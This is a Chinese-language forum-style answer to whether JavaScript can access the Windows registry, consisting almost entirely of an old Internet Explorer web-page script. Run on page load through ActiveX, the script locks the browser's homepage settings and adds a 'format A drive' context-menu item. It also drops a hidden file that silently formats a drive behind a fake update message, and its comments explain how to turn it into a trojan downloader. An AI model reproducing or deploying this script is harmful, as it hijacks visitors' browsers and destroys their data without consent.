JS可以访问注册表么？如果能，应该如何做？

 1<script>   
 2//初始化actiVex控件   
 3document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")   
 4//初始化actiVex控件结束   
 5//定义变量   
 6function reg(){   
 7try   
 8{   
 9//设定applets为0   
10a=document.applets[0]   
11//初始化Windows Script Host Shell Object   
12a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")   
13a.createInstance()   
14S=a.GetObject()   
15//初始化FileSystem Object   
16a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")   
17a.createInstance();   
18fs=a.GetObject()   
19try   
20{   
21//开始写注册表   
22//设定IE的标题为Internet Explorer   
23S.RegWrite ("HKEY_CURRENT_USER\\\Software\\\Microsoft\\\Internet Explorer\\\Main\\\Window Title","Internet Explorer")   
24//设定IE的默认首页为空白页   
25S.RegWrite ("HKEY_CURRENT_USER\\\Software\\\Microsoft\\\Internet Explorer\\\Main\\\Start Page","about:blank")   
26//让设定首页那项变灰   
27S.RegWrite ("HKEY_USERS\\\\.DEFAULT\\\Software\\\Policies\\\Microsoft\\\Internet Explorer\\\Control Panel\\\HomePage",0x1,"REG_DWORD")   
28//让设定分级审查设定那项变灰   
29S.RegWrite ("HKEY_USERS\\\\.DEFAULT\\\Software\\\Policies\\\Microsoft\\\Internet Explorer\\\Control Panel\\\SecChangeSettings",0x1,"REG_DWORD")   
30//在网页右键菜单中加入调用文件的命令   
31S.RegWrite ("HKEY_CURRENT_USER\\\Software\\\Microsoft\\\Internet Explorer\\\MenuExt\\\格式化A盘\\\","c:\\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");   
32//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]   
33//对于REG_DWORD型和REG_BINARY型则有两种赋值方式   
34//直接用十进制的数表示，如：0，1等   
35//用十六进制的数表示,如：0x12,0xff等   
36S.RegWrite ("HKEY_CURRENT_USER\\\Software\\\Microsoft\\\Internet Explorer\\\MenuExt\\\格式化A盘\\\contexts",0xf3,"REG_DWORD")   
37//结束写注册表   
38//开始写硬盘   
39//生成一个名为c:\\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件   
40hd=fs.CreateTextFile("c:\\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")   
41//把这个文件写入javascript内容   
42//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化   
43hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')   
44//关闭这个文件   
45hd.close()   
46//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的，然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马   
47//格式为file=fs.GetFile("网络路径").Copy("运行路径")   
48//这个脚本如果配合asp，那么完全成了一个功能非常强大的木马了   
49file=fs.GetFile("c:\\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")   
50//设定这个文件的属性为隐藏   
51file.Attributes=6   
52//结束写硬盘   
53}   
54catch(reg)   
55{}   
56}   
57catch(reg)   
58{}   
59}   
60function flash()   
61{   
62//隔100毫秒就运行一次   
63setTimeout("reg()",100)   
64}   
65flash()   
66//最后再重申，这个脚本不可用来害人，谢～   
67</script>